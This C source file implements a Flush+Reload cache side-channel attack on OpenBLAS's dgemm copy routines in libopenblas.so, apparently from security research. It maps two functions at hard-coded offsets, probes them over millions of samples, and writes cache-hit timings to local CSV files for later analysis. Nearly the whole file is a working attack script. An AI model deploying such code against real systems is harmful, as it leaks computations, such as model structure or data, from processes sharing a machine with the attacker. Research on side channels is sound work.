// the attack to gemm function in the openblas_libopenblas.so 
// fr attack 1

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "config.h"
#include <fr.h>
#include <low.h>
#include "timestats.h"
#include <assert.h>
#include <util.h>

#define SAMPLES 5000000
#define SLOT 2000
#define THRESHOLD 75


char *monitor[] = {"dgemm_itcopy", "dgemm_oncopy"};
int nmonitor = sizeof(monitor)/sizeof(monitor[0]);

int main (int ac, char **av){
	void *ptr_itcopy = map_offset("/opt/OpenBLAS/lib/libopenblas.so", 0x30d971);
	void *ptr_oncopy = map_offset("/opt/OpenBLAS/lib/libopenblas.so", 0x30e15c);
	
	if (ptr_itcopy == NULL  && ptr_oncopy == NULL)
		exit(0);

	fr_t fr = fr_prepare();

	for (int i = 0; i < nmonitor; i++){
		if (i == 0)
			fr_monitor(fr, ptr_itcopy);
		else if (i == 1)
			fr_monitor(fr, ptr_oncopy);
	
	}

	FILE *fp_hit = NULL;
	fp_hit = fopen("/home/ubuntu2004jz/Documents/dataset/hitdata", "wb+");
	FILE *fp_itcopyhit = NULL;
	fp_itcopyhit = fopen("/home/ubuntu2004jz/Documents/evelynjinze's code/test/itcopyhitdata8.csv", "wb+");
	FILE *fp_oncopyhit = NULL;
	fp_oncopyhit = fopen("/home/ubuntu2004jz/Documents/evelynjinze's code/test/oncopyhitdata8.csv", "wb+");

	uint16_t *res = malloc(SAMPLES * nmonitor * sizeof(uint16_t));

	fr_probe(fr, res);
	
	int l = fr_trace(fr, SAMPLES, res, SLOT, THRESHOLD, 0);
	int itcopy_count = 0;
	int oncopy_count = 0;

	for (int i = 0; i < l; i++){
		for (int j = 0; j < nmonitor; j++){
			if (res[i*nmonitor+j] < THRESHOLD && res[i*nmonitor+j] > 0){
				printf("%d,", res[i*nmonitor+j]);
				fprintf(fp_hit, "%d,%d,\n", i,res[i*nmonitor+j]);
				if (j == 0){
					itcopy_count ++;
					fprintf(fp_itcopyhit, "%d,%d,\n", i, res[i*nmonitor+j]);
				}
				else if (j == 1){
					oncopy_count ++;
					fprintf(fp_oncopyhit, "%d,%d,\n", i, res[i*nmonitor+j]);
				}
			}
		}
		putchar('\n');
	}

	fclose(fp_hit);
	fclose(fp_itcopyhit);
	fclose(fp_oncopyhit);

	return 0;
}
